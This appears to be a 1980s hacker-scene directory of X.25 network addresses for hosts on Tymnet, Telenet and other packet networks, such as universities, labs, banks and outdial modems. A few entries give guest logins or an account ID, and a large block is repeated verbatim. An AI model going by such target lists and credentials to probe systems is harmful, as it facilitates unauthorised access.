0262 457 721 90226 Kienzle Computer

0262 457 810 40222 Dietrich Georg GmbH

B 0262 458 151 40114 Kejo GmbH (Josef Keller)

D 0262 458 210 40114 Bibliothek

0262 458 210 40120 NCR

0262 458 510 30236 Passau RZ

D 0262 458 710 40171 Transfer Data Test GmbH

0310 600 021 0 Procter and Gamble

0310 600 022 6 Anistics

0310 600 022 6 Interactive Market Systems (Anistics) 0310 600 023 2 Scientific Timesharing

0310 600 024 2 Timesharing Resources

0310 600 025 2 Computer Science Corporation 0310 600 025 5 Timesharing Associates

0310 600 027 6 Management Decision Systems Inc 0310 600 028 8 SRI

0310 600 028 8 SRI San Francisco (UNIX)

0310 600 028 8 Stanford Research Institute (SRI) 0310 600 030 3 Scientific Timesharing

0310 600 030 7 Infomedia Corporation

0310 600 032 3 TRW Defence & Space Systems Group 0310 600 040 1 TMCS Public Network

0310 600 043 2 Interactive Market Systems 0310 600 046 6 Bibliographic Retrieval Services B 0310 600 058 1 BRS

0310 600 063 3 Public TYMNET/TRWNET Interlink 0310 600 079 3 J&J Host

B 0310 600 105 3

0310 600 133 0 MULTICS, HVN 862‑3642

0310 600 140 0 TMCS Public Network

B 0310 600 150 9 Orbit (SDC)

B 0310 600 157 878 BIX

D 0310 600 165 9 BYTE Information Exchange (GUEST,GUEST) A 0310 600 166 3 People Link

0310 600 181 9 TMCS Public Network

0310 600 182 8 FRX Faifax Outdial Host (Tymnet) 0310 600 186 4 SUNGARDS Central Computer Facility Networks 0310 600 189 2 Primenet (certain hours)

B 0310 600 195 2 VAX

B 0310 600 197 6 Outdial NY

A 0310 600 197 7

0310 600 209 5 COMODEX Online System

0310 600 209 8 D & B

0310 600 209 9 D & B

0310 600 210 0 D & B

0310 600 210 9 TYMNET/15B (inter‑link)

B 0310 600 220 7,OUT Outdial

0310 600 228 6 Primenet TFGI

0310 600 229 9 CONSILIUM

0310 600 232 901*D MFE Magnetic Fusion Energy Centre, Lawrence

Livermore

B 0310 600 236 1 Denver Oil&Gas

0310 600 241 Bank Of America

0310 600 245 3 Primenet

B 0310 600 254 5 SEISMO Centre for Seismic Studies

B 0310 600 255 Outdial NY

A 0310 600 262 3 VAX/VMS (GUEST ???)

B 0310 600 262 3003 VTINET

B 0310 600 262 460 SUMEX

B 0310 600 263 5 QUOTRON Wall Street (Boerse n.y.) B 0310 600 266 400 SLAC SLAC on Tymnet

B 0310 600 267 7 The New York Times

0310 600 269 4 PVM3101,SPDS/MTAM, MLCM,VM/SP,STRATUS‑1,

STRATUS‑2

0310 600 279 0 VM/370

0310 600 286 4 RCA Semicustom

B 0310 600 302 70000 VTI NETONE

0310 600 307 9 VM/370

0310 600 309 2 TYMNET/Protected Access Service Sys.

Inter‑link

0310 600 316 8 VM/370

0310 600 321 4 VM/370

0310 600 322 0 VM/370

0310 600 322 1 VM/370

0310 600 357 2 NORTH AMERICA DATA CENTRE 0310 600 360 4 VM/370

0310 600 404 1 RCA GLOBCOM'S PACKET SWITCHING SERICE A 0310 600 412 9 ?

A 0310 600 413 1 ?

0310 600 413 7 TSO, VM/370

0310 600 416 300 Oakridge, Tennessee

0310 600 417 4 VM/370

0310 600 420 6 MAINSTREAMS

0310 600 423 500 Oakridge, Tennessee

B 0310 600 430 5 BIOVAX

0310 600 434 1 (Host) 2 ‑ VM/370, T ‑ VM/370,1,3,4,A,C,E,Z A 0310 600 436 5 Toxnet (NLM=National Lib. of Medicine's) B 0310 600 455 5 VAX

0310 600 459 97

0310 600 474 3 TYMNET Info Service

X 0310 600 502 0 Outdial Fairfax

0310 600 522 9 Uni.of Pencilvania School of Arts and

Science

0310 600 526 7 CHANEL 01

X 0310 600 531 7 Outdial St.Louis

B 0310 600 532 0 DEC Soft. Serv.

0310 600 556 9 STRATUS/32

0310 600 557 1 STRATUS/32

0310 600 560 3 (Host) systems 1,2,3,4,5,C (5=Outdial) B 0310 600 562 200 FNAL Fermilab

B 0310 600 562 226 Fermilab 2

B 0310 600 578 78 BIX

B 0310 600 584 401 Washington Post

B 0310 600 61 DIALOG1 Lockheed Info Systems

0310 600 61*DSDDIPSSL ORBIT2 SDC Search Service

0310 600 628 1 EDCS

0310 600 628 3 EDCS

0310 600 643 2 EASYLINK

0310 600 643 4 EASYLINK

0310 600 672 2 International Network

0310 600 68 Stanford SUMEX‑AIM. Tenex op syst. 0310 600 683 2 A&A DATANET (Systems 1,8,0,14) X 0310 600 701 7 Outdial NY

0310 600 759 6 (Host) A ‑ VM/370, B ‑ VM/370 ? 0310 600 787 Dallas

0310 601 79 Berkley Univ.

0310 602 88 Stanford Research Institute

B 0310 611 467 Cas Online Sys.

0310 614 67 Ohio CAS (Chemical Abstracts Service) 0310 617 001 38 Multics

0310 647 911 065 BIX Lexington Data Service 0310 690 006 1*D DIALOG4 Lockheed DIALOG service

B 0310 690 080 3*D DIALOG3 Lockheed DIALOG service

0310 690 762 6 Emery ADO

0311 0 TELENET USA ‑ Telenet

B 0311 002 130 0039 ECLD

0311 020 100 02000 Insco Systems

0311 020 100 022 New Jersey Outdial 2400 bps (Area 201) 0311 020 100 02300 American Information Services 0311 020 100 02400 The Information Bank

0311 020 100 02500 New Jersey Institute of Technology 0311 020 100 02800 Olcott International Company 0311 020 100 03700 Informatics Inc

0311 020 100 169 MOUTON

0311 020 100 301 New Jersey Outdial 1200 bps (Area 201) 0311 020 101 59200 Scientific Process & Research Inc 0311 020 200 02100 Scientific Timesharing

0311 020 200 02200 Scientific Timesharing

X 0311 020 200 066 Air Force

T 0311 020 200 099 ICIB Information Council Incorporated B system 0311 020 200 1 TELEMAIL US Telemail facility

X 0311 020 200 10900 CIS Chemical Information Systems

A 0311 020 200 115 Outdial 300 bps (Area 202)

A 0311 020 200 116 Outdial 1200 bps (Area 202) 0311 020 200 117 Distr. of Columbia Outdial 2400 bps (Area

202)

B 0311 020 200 141 TELEMAIL US Telemail facility (GT‑Net) 0311 020 200 14175 TELEENQ Telenet Enquiry Service

0311 020 200 14175 TELEMAIL1 US Telemail facility

0311 020 200 14275 TELENET US Telenet

0311 020 201 19500 Gallaude College Computer Centre 0311 020 300 06400 NCSS Bureau

0311 020 300 130 Connecticut Outdial 1200 bps (Area 203) 0311 020 301 78900 Yale University Computer Centre 0311 020 400 02900 WATERLO University of Waterloo

0311 020 600 019 Washington Outdial 1200 bps (Area 206) 0311 021 200 02000 Bowne Timesharing

0311 021 200 02500 Interactive Market Systems (Anistics) 0311 021 200 02800 Burroughs Corp (NYC data centre) 0311 021 200 141 JPLM1 Jet Propulsion Laboratory mail 1, USA 0311 021 200 142 JPLM2 Jet Propulsion Laboratory mail 2, USA 0311 021 200 14200 GT‑Net Telemail

A 0311 021 200 315 Outdial 300 bps (Area 212)

A 0311 021 200 316 Outdial 1200 bps (Area 212)

D 0311 021 200 412 Outdial 2400 bps (Area 212)

D 0311 021 200 41200 New York City Outdial (Area 212) 0311 021 201 39200 Memorial Dose Distribution Computation

Service

0311 021 201 40600 MAV Systems (300 bps)

0311 021 201 57800 IP Sharp Associates

0311 021 201 58000 SDL International (1200 bps) 0311 021 201 58500 SDL International (300 bps) 0311 021 201 58800 DSL Systems Inc

0311 021 201 59500 SDL International (1200 bps) 0311 021 201 62000 Telestat System Inc

0311 021 201 62700 Telestat Systems Inc

0311 021 300 02200 Interactive Systems Corporation 0311 021 300 02700 Mellonics Information Centre 0311 021 300 029 TRW Defence & Space Systems Group B 0311 021 300 03300 ORBIT Orbit

0311 021 300 03300*D ORBIT SDC Search Service (300 bps) 0311 021 300 04400 SDC Search Service (1200 bps)

B 0311 021 300 039 USCAL2 Univ. of Southern California 0311 021 300 04114 IHW IHW

0311 021 300 04700 University of Southern California B 0311 021 300 048 USCAL1 University of Southern California B 0311 021 300 170 LRS Dialog 2

T 0311 021 300 17000 DIALOG5 Lockheed Info Systems

0311 021 300 17000*D DIALOG2 Lockheed DIALOG service

B 0311 021 300 219 CALTECH Caltech VAX 11/780

0311 021 300 21908 CALTECH Caltech VAX 11/780

0311 021 300 21909 CALTECH2 Caltech VAX 11/780

0311 021 300 412 California Outdial 1200 bps (Area 213) A 0311 021 300 413 Outdial CA

0311 021 300 668 Adainfo

0311 021 301 353 UCLA UCLA, USA

0311 021 301 40300 Marshall & Swift Publication 0311 021 400 117 Outdial 300 bps (Area 214)

A 0311 021 400 118 Texas Outdial 1200 bps (Area 214) 0311 021 500 022 Pennsylvania Outdial 2400 bps (Area 215) 0311 021 500 112 Pennsylvania Outdial 1200 bps (Area 215) A 0311 021 600 020 Outdial 300 bps (Area 216)

A 0311 021 600 021 Ohio Outdial 1200 bps (Area 216) 0311 021 700 021 University of Illinois ‑ Urbana 0311 030 100 02000 NLM National Library of Medicine

A 0311 030 100 02400 The Source

B 0311 030 100 038 The Source (ID BSC131 SR3811)

B 0311 030 100 243 ITT Dialcom

0311 030 100 364 Primesoft

A 0311 030 100 38 The Source

B 0311 030 100 633 Toxnet (NLM)

0311 030 101 26500 Informatics Inc

0311 030 300 02000 Computer Sharing Services 0311 030 300 021 Colorado Outdial 2400 bps (Area 303) 0311 030 300 02300 Broker Services Inc

0311 030 300 115 Colorado Outdial 1200 bps (Area 303) 0311 030 301 13100 EDI Computer Services

0311 030 301 13200 EDI Computer Services

0311 030 301 13300 Energy Enterprises

0311 030 500 121 Florida Outdial 1200 bps (Area 305) 0311 030 501 16300 Florida Computer Inc

D 0311 030 508 793 Miami Outdial (Area 305) ? 0311 031 200 02200 National Computer Network of Chicago 0311 031 200 024 Illinois Outdial 2400 bps (Area 217 ?) 0311 031 200 03100 Continental Bank

0311 031 200 03200 Continental Bank

0311 031 200 04900 American Hospital Supply Corporation 0311 031 200 411 Illinois Outdial 1200 bps (Area 217 ?) 0311 031 201 07300 Commodity Information Services 0311 031 268 801 ADPUSA ADP Network Services Ltd. 0311 031 300 024 Michigan Outdial 2400 bps (Area 313) 0311 031 300 04000 ADP Network Services

0311 031 300 06200 Merit International (MIT) 0311 031 300 216 Michigan Outdial 1200 bps (Area 313) 0311 031 301 39800 Merit Computer

0311 031 400 07200 Environmental DataNetwork Inc. 0311 031 401 06500 McDonnel Douglas Automation (300 bps) 0311 031 401 06600 McDonnel Douglas Automation (110 bps) 0311 031 401 06700 McDonnel Douglas Automation (1200 bps) 0311 031 401 61000 McDonnel Douglas Automation (300 bps) 0311 031 500 02000 Bibliographic Retrieval Services A 0311 040 100 612 Modemcity

A 0311 040 400 114 Georgia Outdial 1200 bps (Area 404) A 0311 040 800 021 California Outdial 1200 bps? (Area 408) 0311 040 800 245 Bridge

B 0311 040 800 246 SCF

0311 041 201 4600 On‑Line Systems Inc

0311 041 400 02000 A.O. Smith Data Systems Divisions 0311 041 400 021 Wisconsin Outdial 1200 bps (Area 414) B 0311 041 500 020 LRS‑Dialog 2

A 0311 041 500 02000 DIALOG Lockheed Information Systems 0311 041 500 02000*D DIALOG Lockheed DIALOG service

B 0311 041 500 048 LRS Dialog 2

0311 041 500 04800 DIALOG2 Lockheed Information Systems 2 0311 041 500 04800*D DIALOG1 Lockheed DIALOG service

0311 041 500 117 California Outdial 1200 bps (Area 415) I 0311 041 500 210 Outdial USA

A 0311 041 500 215 Outdial (Area 415)

A 0311 041 500 217 Outdial (Area 415)

A 0311 041 500 220 Outdial 1200 bps (Area 415) 0311 041 500 48000 Lockheed Information Systems (?) B 0311 041 500 607 BIONET

B 0311 041 500 609 INTELLIGENETICS

0311 041 501 23600 Hydrocomp Inc (300 bps)

0311 041 501 23700 Hydrocomp Inc (1200 bps)

0311 041 501 26800 ITEL Corp (300 bps)

0311 041 501 26900 ITEL Corp (1200 bps)

0311 041 501 59700 Stanford Library Centre for Inform

Processing

0311 041 501 59700 Standard Centre for Information Processing O 0311 050 006 1 Nuclear Research

A 0311 050 300 020 Outdial 300 bps (Area 503)

A 0311 050 300 021 Oregon Outdial 1200 bps (Area 503) B 0311 050 500 060 ICN (=LASL)

0310 600 021 0 Procter and Gamble

0310 600 022 6 Anistics

0310 600 022 6 Interactive Market Systems (Anistics) 0310 600 023 2 Scientific Timesharing

0310 600 024 2 Timesharing Resources

0310 600 025 2 Computer Science Corporation 0310 600 025 5 Timesharing Associates

0310 600 027 6 Management Decision Systems Inc 0310 600 028 8 SRI

0310 600 028 8 SRI San Francisco (UNIX)

0310 600 028 8 Stanford Research Institute (SRI) 0310 600 030 3 Scientific Timesharing

0310 600 030 7 Infomedia Corporation

0310 600 032 3 TRW Defence & Space Systems Group 0310 600 040 1 TMCS Public Network

0310 600 043 2 Interactive Market Systems 0310 600 046 6 Bibliographic Retrieval Services B 0310 600 058 1 BRS

0310 600 063 3 Public TYMNET/TRWNET Interlink 0310 600 079 3 J&J Host

B 0310 600 105 3

0310 600 133 0 MULTICS, HVN 862‑3642

0310 600 140 0 TMCS Public Network

B 0310 600 150 9 Orbit (SDC)

B 0310 600 157 878 BIX

D 0310 600 165 9 BYTE Information Exchange (GUEST,GUEST) A 0310 600 166 3 People Link

0310 600 181 9 TMCS Public Network

0310 600 182 8 FRX Faifax Outdial Host (Tymnet) 0310 600 186 4 SUNGARDS Central Computer Facility Networks 0310 600 189 2 Primenet (certain hours)

B 0310 600 195 2 VAX

B 0310 600 197 6 Outdial NY

A 0310 600 197 7

0310 600 209 5 COMODEX Online System

0310 600 209 8 D & B

0310 600 209 9 D & B

0310 600 210 0 D & B

0310 600 210 9 TYMNET/15B (inter‑link)

B 0310 600 220 7,OUT Outdial

0310 600 228 6 Primenet TFGI

0310 600 229 9 CONSILIUM

0310 600 232 901*D MFE Magnetic Fusion Energy Centre, Lawrence

Livermore

B 0310 600 236 1 Denver Oil&Gas

0310 600 241 Bank Of America

0310 600 245 3 Primenet

B 0310 600 254 5 SEISMO Centre for Seismic Studies

B 0310 600 255 Outdial NY

A 0310 600 262 3 VAX/VMS (GUEST ???)

B 0310 600 262 3003 VTINET

B 0310 600 262 460 SUMEX

B 0310 600 263 5 QUOTRON Wall Street (Boerse n.y.) B 0310 600 266 400 SLAC SLAC on Tymnet

B 0310 600 267 7 The New York Times

0310 600 269 4 PVM3101,SPDS/MTAM, MLCM,VM/SP,STRATUS‑1,

STRATUS‑2

0310 600 279 0 VM/370

0310 600 286 4 RCA Semicustom

B 0310 600 302 70000 VTI NETONE

0310 600 307 9 VM/370

0310 600 309 2 TYMNET/Protected Access Service Sys.

Inter‑link

0310 600 316 8 VM/370

0310 600 321 4 VM/370

0310 600 322 0 VM/370

0310 600 322 1 VM/370

0310 600 357 2 NORTH AMERICA DATA CENTRE 0310 600 360 4 VM/370

0310 600 404 1 RCA GLOBCOM'S PACKET SWITCHING SERICE A 0310 600 412 9 ?

A 0310 600 413 1 ?

0310 600 413 7 TSO, VM/370

0310 600 416 300 Oakridge, Tennessee

0310 600 417 4 VM/370

0310 600 420 6 MAINSTREAMS

0310 600 423 500 Oakridge, Tennessee

B 0310 600 430 5 BIOVAX

0310 600 434 1 (Host) 2 ‑ VM/370, T ‑ VM/370,1,3,4,A,C,E,Z A 0310 600 436 5 Toxnet (NLM=National Lib. of Medicine's) B 0310 600 455 5 VAX

0310 600 459 97

0310 600 474 3 TYMNET Info Service

X 0310 600 502 0 Outdial Fairfax

0310 600 522 9 Uni.of Pencilvania School of Arts and

Science

0310 600 526 7 CHANEL 01

X 0310 600 531 7 Outdial St.Louis

B 0310 600 532 0 DEC Soft. Serv.

0310 600 556 9 STRATUS/32

0310 600 557 1 STRATUS/32

0310 600 560 3 (Host) systems 1,2,3,4,5,C (5=Outdial) B 0310 600 562 200 FNAL Fermilab

B 0310 600 562 226 Fermilab 2

B 0310 600 578 78 BIX

B 0310 600 584 401 Washington Post

B 0310 600 61 DIALOG1 Lockheed Info Systems

0310 600 61*DSDDIPSSL ORBIT2 SDC Search Service

0310 600 628 1 EDCS

0310 600 628 3 EDCS

0310 600 643 2 EASYLINK

0310 600 643 4 EASYLINK

0310 600 672 2 International Network

0310 600 68 Stanford SUMEX‑AIM. Tenex op syst. 0310 600 683 2 A&A DATANET (Systems 1,8,0,14) X 0310 600 701 7 Outdial NY

0310 600 759 6 (Host) A ‑ VM/370, B ‑ VM/370 ? 0310 600 787 Dallas

0310 601 79 Berkley Univ.

0310 602 88 Stanford Research Institute

B 0310 611 467 Cas Online Sys.

0310 614 67 Ohio CAS (Chemical Abstracts Service) 0310 617 001 38 Multics

0310 647 911 065 BIX Lexington Data Service 0310 690 006 1*D DIALOG4 Lockheed DIALOG service

B 0310 690 080 3*D DIALOG3 Lockheed DIALOG service

0310 690 762 6 Emery ADO

0311 0 TELENET USA ‑ Telenet

B 0311 002 130 0039 ECLD

0311 020 100 02000 Insco Systems

0311 020 100 022 New Jersey Outdial 2400 bps (Area 201) 0311 020 100 02300 American Information Services 0311 020 100 02400 The Information Bank

0311 020 100 02500 New Jersey Institute of Technology 0311 020 100 02800 Olcott International Company 0311 020 100 03700 Informatics Inc

0311 020 100 169 MOUTON

0311 020 100 301 New Jersey Outdial 1200 bps (Area 201) 0311 020 101 59200 Scientific Process & Research Inc 0311 020 200 02100 Scientific Timesharing

0311 020 200 02200 Scientific Timesharing

X 0311 020 200 066 Air Force

T 0311 020 200 099 ICIB Information Council Incorporated B system 0311 020 200 1 TELEMAIL US Telemail facility

X 0311 020 200 10900 CIS Chemical Information Systems

A 0311 020 200 115 Outdial 300 bps (Area 202)

A 0311 020 200 116 Outdial 1200 bps (Area 202) 0311 020 200 117 Distr. of Columbia Outdial 2400 bps (Area

202)

B 0311 020 200 141 TELEMAIL US Telemail facility (GT‑Net) 0311 020 200 14175 TELEENQ Telenet Enquiry Service

0311 020 200 14175 TELEMAIL1 US Telemail facility

0311 020 200 14275 TELENET US Telenet

0311 020 201 19500 Gallaude College Computer Centre 0311 020 300 06400 NCSS Bureau

0311 020 300 130 Connecticut Outdial 1200 bps (Area 203) 0311 020 301 78900 Yale University Computer Centre 0311 020 400 02900 WATERLO University of Waterloo

0311 020 600 019 Washington Outdial 1200 bps (Area 206) 0311 021 200 02000 Bowne Timesharing

0311 021 200 02500 Interactive Market Systems (Anistics) 0311 021 200 02800 Burroughs Corp (NYC data centre) 0311 021 200 141 JPLM1 Jet Propulsion Laboratory mail 1, USA 0311 021 200 142 JPLM2 Jet Propulsion Laboratory mail 2, USA 0311 021 200 14200 GT‑Net Telemail

A 0311 021 200 315 Outdial 300 bps (Area 212)

A 0311 021 200 316 Outdial 1200 bps (Area 212)

D 0311 021 200 412 Outdial 2400 bps (Area 212)

D 0311 021 200 41200 New York City Outdial (Area 212) 0311 021 201 39200 Memorial Dose Distribution Computation

Service

0311 021 201 40600 MAV Systems (300 bps)

0311 021 201 57800 IP Sharp Associates

0311 021 201 58000 SDL International (1200 bps) 0311 021 201 58500 SDL International (300 bps) 0311 021 201 58800 DSL Systems Inc

0311 021 201 59500 SDL International (1200 bps) 0311 021 201 62000 Telestat System Inc

0311 021 201 62700 Telestat Systems Inc

0311 021 300 02200 Interactive Systems Corporation 0311 021 300 02700 Mellonics Information Centre 0311 021 300 029 TRW Defence & Space Systems Group B 0311 021 300 03300 ORBIT Orbit

0311 021 300 03300*D ORBIT SDC Search Service (300 bps) 0311 021 300 04400 SDC Search Service (1200 bps)

B 0311 021 300 039 USCAL2 Univ. of Southern California 0311 021 300 04114 IHW IHW

0311 021 300 04700 University of Southern California B 0311 021 300 048 USCAL1 University of Southern California B 0311 021 300 170 LRS Dialog 2

T 0311 021 300 17000 DIALOG5 Lockheed Info Systems

0311 021 300 17000*D DIALOG2 Lockheed DIALOG service

B 0311 021 300 219 CALTECH Caltech VAX 11/780

0311 021 300 21908 CALTECH Caltech VAX 11/780

0311 021 300 21909 CALTECH2 Caltech VAX 11/780

0311 021 300 412 California Outdial 1200 bps (Area 213) A 0311 021 300 413 Outdial CA

0311 021 300 668 Adainfo

0311 021 301 353 UCLA UCLA, USA

0311 021 301 40300 Marshall & Swift Publication 0311 021 400 117 Outdial 300 bps (Area 214)

A 0311 021 400 118 Texas Outdial 1200 bps (Area 214) 0311 021 500 022 Pennsylvania Outdial 2400 bps (Area 215) 0311 021 500 112 Pennsylvania Outdial 1200 bps (Area 215) A 0311 021 600 020 Outdial 300 bps (Area 216)

A 0311 021 600 021 Ohio Outdial 1200 bps (Area 216) 0311 021 700 021 University of Illinois ‑ Urbana 0311 030 100 02000 NLM National Library of Medicine

A 0311 030 100 02400 The Source

B 0311 030 100 038 The Source (ID BSC131 SR3811)

B 0311 030 100 243 ITT Dialcom

0311 030 100 364 Primesoft

A 0311 030 100 38 The Source

B 0311 030 100 633 Toxnet (NLM)

0311 030 101 26500 Informatics Inc

0311 030 300 02000 Computer Sharing Services 0311 030 300 021 Colorado Outdial 2400 bps (Area 303) 0311 030 300 02300 Broker Services Inc

0311 030 300 115 Colorado Outdial 1200 bps (Area 303) 0311 030 301 13100 EDI Computer Services

0311 030 301 13200 EDI Computer Services

0311 030 301 13300 Energy Enterprises

0311 030 500 121 Florida Outdial 1200 bps (Area 305) 0311 030 501 16300 Florida Computer Inc

D 0311 030 508 793 Miami Outdial (Area 305) ? 0311 031 200 02200 National Computer Network of Chicago 0311 031 200 024 Illinois Outdial 2400 bps (Area 217 ?) 0311 031 200 03100 Continental Bank

0311 031 200 03200 Continental Bank

0311 031 200 04900 American Hospital Supply Corporation 0311 031 200 411 Illinois Outdial 1200 bps (Area 217 ?) 0311 031 201 07300 Commodity Information Services 0311 031 268 801 ADPUSA ADP Network Services Ltd. 0311 031 300 024 Michigan Outdial 2400 bps (Area 313) 0311 031 300 04000 ADP Network Services

0311 031 300 06200 Merit International (MIT) 0311 031 300 216 Michigan Outdial 1200 bps (Area 313) 0311 031 301 39800 Merit Computer

0311 031 400 07200 Environmental DataNetwork Inc. 0311 031 401 06500 McDonnel Douglas Automation (300 bps) 0311 031 401 06600 McDonnel Douglas Automation (110 bps) 0311 031 401 06700 McDonnel Douglas Automation (1200 bps) 0311 031 401 61000 McDonnel Douglas Automation (300 bps) 0311 031 500 02000 Bibliographic Retrieval Services A 0311 040 100 612 Modemcity

A 0311 040 400 114 Georgia Outdial 1200 bps (Area 404) A 0311 040 800 021 California Outdial 1200 bps? (Area 408) 0311 040 800 245 Bridge

B 0311 040 800 246 SCF

0311 041 201 4600 On‑Line Systems Inc

0311 041 400 02000 A.O. Smith Data Systems Divisions 0311 041 400 021 Wisconsin Outdial 1200 bps (Area 414) B 0311 041 500 020 LRS‑Dialog 2

A 0311 041 500 02000 DIALOG Lockheed Information Systems 0311 041 500 02000*D DIALOG Lockheed DIALOG service

B 0311 041 500 048 LRS Dialog 2

0311 041 500 04800 DIALOG2 Lockheed Information Systems 2 0311 041 500 04800*D DIALOG1 Lockheed DIALOG service

0311 041 500 117 California Outdial 1200 bps (Area 415) I 0311 041 500 210 Outdial USA

A 0311 041 500 215 Outdial (Area 415)

A 0311 041 500 217 Outdial (Area 415)

A 0311 041 500 220 Outdial 1200 bps (Area 415) 0311 041 500 48000 Lockheed Information Systems (?) B 0311 041 500 607 BIONET

B 0311 041 500 609 INTELLIGENETICS

0311 041 501 23600 Hydrocomp Inc (300 bps)

0311 041 501 23700 Hydrocomp Inc (1200 bps)

0311 041 501 26800 ITEL Corp (300 bps)

0311 041 501 26900 ITEL Corp (1200 bps)

0311 041 501 59700 Stanford Library Centre for Inform

Processing

0311 041 501 59700 Standard Centre for Information Processing O 0311 050 006 1 Nuclear Research

A 0311 050 300 020 Outdial 300 bps (Area 503)

A 0311 050 300 021 Oregon Outdial 1200 bps (Area 503) B 0311 050 500 060 ICN (=LASL)

B 0311 051 300 03000 Mead Data Central

0311 051 501 39600 State University of New York 0311 051 600 02200 Timesharing Resources

D 0311 060 200 020 Outdial 300 bps (Area 602)

D 0311 060 200 021 Outdial 1200 bps (Area 602)

B 0311 060 200 150 Phoenix

0311 060 201 60900 Timesharing Associates

B 0311 060 300 020 Dartmouth College

0311 060 300 02000 DARTMTH Dartmouth College, USA

0311 060 300 05000 Corporate Timesharing

0311 060 301 54700 Raytheon Company Scientific Computer

Service

X 0311 060 700 02000 CORNELL0 Cornell University (134.5 bps) T 0311 060 700 02100 CORNELL1 Cornell University (300 bps)

T 0311 060 700 02200 CORNELL2 Cornell University (1200 bps) 0311 060 700 02300 CORNELL3 Cornell University (1200 bps) 0311 060 700 03600 TIPO Computer

0311 060 702 00 CORNELL2 Cornell University

0311 060 702 00 CORNELL2 Cornell University

0311 060 800 02500 University of Wisconsin

0311 060 801 6630 University of Wisconsin

0311 060 900 4200 Dow‑Jones

0311 061 200 02500 Honeywell Inform Services Datanetwork 0311 061 200 02700 Honeywell Inform Services Datanetwork 0311 061 200 121 Minnesota Outdial 1200 bps (Area 612) 0311 061 201 06500 Honeywell Inform Services Datanetwork,

300 bps

0311 061 201 06500 Honeywell Inform Services Datanetwork 0311 061 201 06600 Honeywell Inform Services Datanetwork,

110 bps

0311 061 201 06700 Honeywell Inform Services Datanetwork,

300 bps

0311 061 201 06900 Honeywell Inform Services Datanetwork,

134 bps

B 0311 061 400 021 CAS online

D 0311 061 400 02124 CASUSA STN International

0311 061 700 02000 Bolt Beranek & Newman

0311 061 700 02300 Computer Corporation of America 0311 061 700 02400 AVCO Computer Services

0311 061 700 03600 Data Resources Inc

0311 061 700 03800 BBN‑RCC

0311 061 700 03800 Bolt Beranek & Newman

0311 061 700 06700 Management Decision Systems Inc 0311 061 700 07000 Interactive Science Corp

0311 061 700 07600 Interactive Science Corp

0311 061 700 08000 III Systems Inc

B 0311 061 700 08401 LCG

0311 061 700 12000 Cullinane Corp

0311 061 700 13700 Masachusetts Institute of Technology 0311 061 700 13800 Masachusetts Institute of Technology 0311 061 700 13900 Masachusetts Institute of Technology 0311 061 700 14000 Masachusetts Institute of Technology B 0311 061 700 270 Waltham

B 0311 061 700 609 Package

B 0311 061 700 613 BBN10

B 0311 061 700 614 BBNVAX

0311 061 701 01600 Data Resources Inc (300 bps) 0311 061 701 01900 Data Resources Inc (300 bps) 0311 061 701 16100 First Data Division/ADP Inc 0311 061 701 16200 First Data Division/ADP Inc 0311 061 701 25800 Data Resources Inc (134.5 bps) 0311 061 701 26900 Interactive Management Systems 0311 061 701 27500 Masachusetts Institute of Technology 0311 061 701 39000 Masachusetts Institute of Technology 0311 061 701 40300 Masachusetts Institute of Technology 0311 061 703 088 Delphi

0311 061 900 050 California Outdial 1200 bps (Area 619) 0311 070 300 02000 Litton Computer Services

0311 070 300 02100 American Management Systems 0311 070 300 056 PRC Computer Centre Inc

0311 070 300 117 Virginia Outdial 2400 bps (Area 703) B 0311 070 300 50000 NIH‑EPA (CIS)

0311 070 305 05200 Digital Broadcasting Corporation 0311 071 300 024 Texas Outdial 2400 bps (Area 713) 0311 071 300 114 Texas Outdial 1200 bps (Area 713) 0311 071 301 08300 Corporate Services Inc

0311 071 301 56500 Rice University

0311 071 400 02000 SCIAPP Science Applications Inc. 0311 071 401 13700 Engineering Supervision Co 0311 071 700 02000 Brodart Inc

A 0311 080 100 020 Outdial 300 bps (Area 801)

A 0311 080 100 021 Utah Outdial 1200 bps (Area 801) B 0311 080 100 054 ES

0311 080 101 13700 Environmentech Information Systems 0311 080 400 02000 Multiple Access Computer Group X 0311 080 800 01046 UKIRTUK Infra Red Telescope in Hawaii

X 0311 080 800 040 UKIRT UK Infra Red Telescope in Hawaii A 0311 081 300 020 Outdial 300 bps (Area 813)

A 0311 081 300 021 Florida Outdial 1200 bps (Area 813) D 0311 081 305 518 Tampa Outdial (Area 813) ? 0311 081 800 021 California Outdial 1200 bps (Area 818) D 0311 090 900 80000 JPLM3 Jet Propulsion Laboratory mail 2, USA 0311 090 900 8100 Telemail

0311 091 400 02200 Electronic Tabulating Corporation 0311 091 600 050 California Outdial 1200 bps (Area 916) A 0311 091 900 020 Outdial 300 bps (Area 919)

A 0311 091 900 021 Outdial 1200 bps (Area 919) 0311 3 RCA USA ‑ RCA (RCAG)

0311 9 USA ‑ TRT

0312 4 USA ‑ FTCC

0312 5 USA ‑ Uninet

0312 521 210 1 DIALOG6 Lockheed Info Systems

D 0312 561 703 080 UNINET

B 0312 561 703 088 Delphi

0312 6 AUTONET USA ‑ Autonet

0312 688 01 AUTONET AUTONET Information

0312 7 USA ‑ Telenet

0313 2 COMPU USA ‑ Compuserve

0313 6 USA ‑ Geisco

0334 Mexico

0334 0 Telepac

0340 FA French Antilles (Martinique (Curacau?)) 0340 0 Dompac/NTI

0342 BDS Barbados

0342 235 191 9169

0350 Bermuda

0350 3 PSDS

0425 IL Israel

0425 1 Isranet

B 0425 130 000 215 Israelbox

0426 BRN Bahrain

0426 3 BTC

0431 DXB United Arab Emirates ‑ Dubai 0440 J Japan

0440 1 DDX‑P

B 0440 129 431 04 KEK VAX

B 0440 129 431 21 Tsukuba Uni

0440 8 VENUSP Venus‑P (Japanese data network) I 0440 820 023 KDD ?

B 0440 820 060 01 KDD KDD Test Host, TOKYO

0442

B 0442 110 403 25 OKI

B 0442 433 403 07 CMES

0450 South Korea

0450 1 Dacom/DNS

0454 HK Hong Kong

0454 2 Intelpak

0454 5 Datapak

A 0454 550 010 4 HKDATA Hong Kong DATAPAK Info

A 0454 550 043 1 DATAFAX

0487 Taiwan

0487 2 Pacnet

0487 7 Udas

0505 AUS Australia

0505 2 Austpac

0505 228 621 000 Anglo/Australian Observatory 0505 228 621 001 CSIRO Radio‑Physics

0505 228 621 001 FTP for Epping

0505 233 422 000 MELBUNI Melbourne Univ. Australia

A 0505 273 720 000 UQ Univ. of Queensland Australia

A 0505 273 720 000 UQXA University of Queensland ANF‑10 gateway D 0505 273 722 0000 Uni Queensland

0505 282 620 000 FTP For Austek

A 0505 282 620 000 VAX in Sidney, Australia

0505 3 Midas

0505 321 000 1 Network test

0505 321 000 3 MIDAS FOX Test

0510 Indonesia

